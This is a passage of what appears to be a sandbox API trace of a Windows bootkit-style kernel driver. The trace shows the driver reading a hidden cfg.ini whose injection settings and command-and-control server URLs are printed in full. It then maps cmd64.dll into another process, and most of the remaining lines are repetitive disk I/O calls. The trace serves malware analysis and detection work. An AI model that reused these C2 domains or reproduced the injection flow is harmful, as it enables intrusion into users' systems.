_Dest="0d24eb7c\\cfg.ini") returned 16 [0076.406] KeEnterCriticalRegion () [0076.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.406] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d37660 [0076.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800d30e960 [0076.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0076.406] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0076.406] IdePortDispatch () returned 0x103 [0076.406] KeWaitForMutexObject () returned 0x0 [0076.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0076.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800d30e960 [0076.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0076.407] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0076.407] IdePortDispatch () returned 0x103 [0076.407] KeWaitForMutexObject () returned 0x0 [0076.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.407] KeLeaveCriticalRegion () [0076.407] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.407] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0076.407] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0076.407] strncpy (in: _Dest=0xfffffa80035d0274, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0076.407] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0076.407] ExFreePoolWithTag (P=0xfffff8a000a48660, Tag=0x0) [0076.407] ZwClose (Handle=0xffffffff80000294) returned 0x0 [0076.407] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.407] KeEnterCriticalRegion () [0076.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.407] IoGetRequestorProcess (Irp=0xfffffa80035c45a0) returned 0xfffffa80018ab040 [0076.407] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80035c99f0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0076.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.407] KeLeaveCriticalRegion () [0076.407] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.407] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.407] KeEnterCriticalRegion () [0076.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.407] ExFreePoolWithTag (P=0xfffffa800358ae30, Tag=0x0) [0076.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.407] KeLeaveCriticalRegion () [0076.407] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.407] KeStackAttachProcess (in: PROCESS=0xfffffa80035c7630, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa80035c7630, ApcState=0xfffff88002f8fa58) [0076.407] _snwprintf (in: _Dest=0xfffffa80035d006c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0076.407] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0076.407] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff80000294, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0076.407] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0076.407] KeEnterCriticalRegion () [0076.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.408] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0076.408] IdePortDispatch () returned 0x103 [0076.408] KeWaitForMutexObject () returned 0x0 [0076.408] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0076.408] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0076.408] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0076.408] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0076.408] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0076.408] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0076.408] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0076.408] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0076.408] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0076.408] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0076.408] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80035c9570 [0076.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.408] KeLeaveCriticalRegion () [0076.408] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.408] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff80000294 | out: SectionHandle=0xfffff88002f8f9e0*=0x14) returned 0x0 [0076.408] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0076.408] KeEnterCriticalRegion () [0076.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.408] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0076.408] IdePortDispatch () returned 0x103 [0076.408] KeWaitForMutexObject () returned 0x0 [0076.408] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0076.408] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0076.408] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0076.408] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0076.409] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0076.409] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0076.409] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0076.409] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0076.409] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0076.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.409] KeLeaveCriticalRegion () [0076.409] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.409] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff80000284, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0076.409] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0076.409] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0076.409] KeEnterCriticalRegion () [0076.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d38000 [0076.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.409] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.409] IdePortDispatch () returned 0x103 [0076.409] KeWaitForMutexObject () returned 0x0 [0076.409] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0076.409] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0076.409] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0076.409] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0076.409] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0076.409] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0076.409] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0076.409] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0076.409] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0076.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.409] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.409] IdePortDispatch () returned 0x103 [0076.410] KeWaitForMutexObject () returned 0x0 [0076.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.410] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.410] IdePortDispatch () returned 0x103 [0076.410] KeWaitForMutexObject () returned 0x0 [0076.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.410] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.410] IdePortDispatch () returned 0x103 [0076.410] KeWaitForMutexObject () returned 0x0 [0076.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.410] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.410] IdePortDispatch () returned 0x103 [0076.411] KeWaitForMutexObject () returned 0x0 [0076.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.411] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.411] IdePortDispatch () returned 0x103 [0076.411] KeWaitForMutexObject () returned 0x0 [0076.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.411] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.411] IdePortDispatch () returned 0x103 [0076.411] KeWaitForMutexObject () returned 0x0 [0076.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.411] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.411] IdePortDispatch () returned 0x103 [0076.411] KeWaitForMutexObject () returned 0x0 [0076.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.412] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.412] IdePortDispatch () returned 0x103 [0076.412] KeWaitForMutexObject () returned 0x0 [0076.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.412] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.412] IdePortDispatch () returned 0x103 [0076.412] KeWaitForMutexObject () returned 0x0 [0076.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.412] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.412] IdePortDispatch () returned 0x103 [0076.412] KeWaitForMutexObject () returned 0x0 [0076.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.412] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.412] IdePortDispatch () returned 0x103 [0076.412] KeWaitForMutexObject () returned 0x0 [0076.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.413] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.413] IdePortDispatch () returned 0x103 [0076.413] KeWaitForMutexObject () returned 0x0 [0076.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.413] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.413] IdePortDispatch () returned 0x103 [0076.413] KeWaitForMutexObject () returned 0x0 [0076.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.413] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.413] IdePortDispatch () returned 0x103 [0076.413] KeWaitForMutexObject () returned 0x0 [0076.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.414] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.414] IdePortDispatch () returned 0x103 [0076.414] KeWaitForMutexObject () returned 0x0 [0076.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.414] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.414] IdePortDispatch () returned 0x103 [0076.414] KeWaitForMutexObject () returned 0x0 [0076.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.414] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.414] IdePortDispatch () returned 0x103 [0076.414] KeWaitForMutexObject () returned 0x0 [0076.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.414] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.414] IdePortDispatch () returned 0x103 [0076.415] KeWaitForMutexObject () returned 0x0 [0076.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.415] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.415] IdePortDispatch () returned 0x103 [0076.415] KeWaitForMutexObject () returned 0x0 [0076.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.415] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.415] IdePortDispatch () returned 0x103 [0076.415] KeWaitForMutexObject () returned 0x0 [0076.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.415] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.415] IdePortDispatch () returned 0x103 [0076.416] KeWaitForMutexObject () returned 0x0 [0076.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: 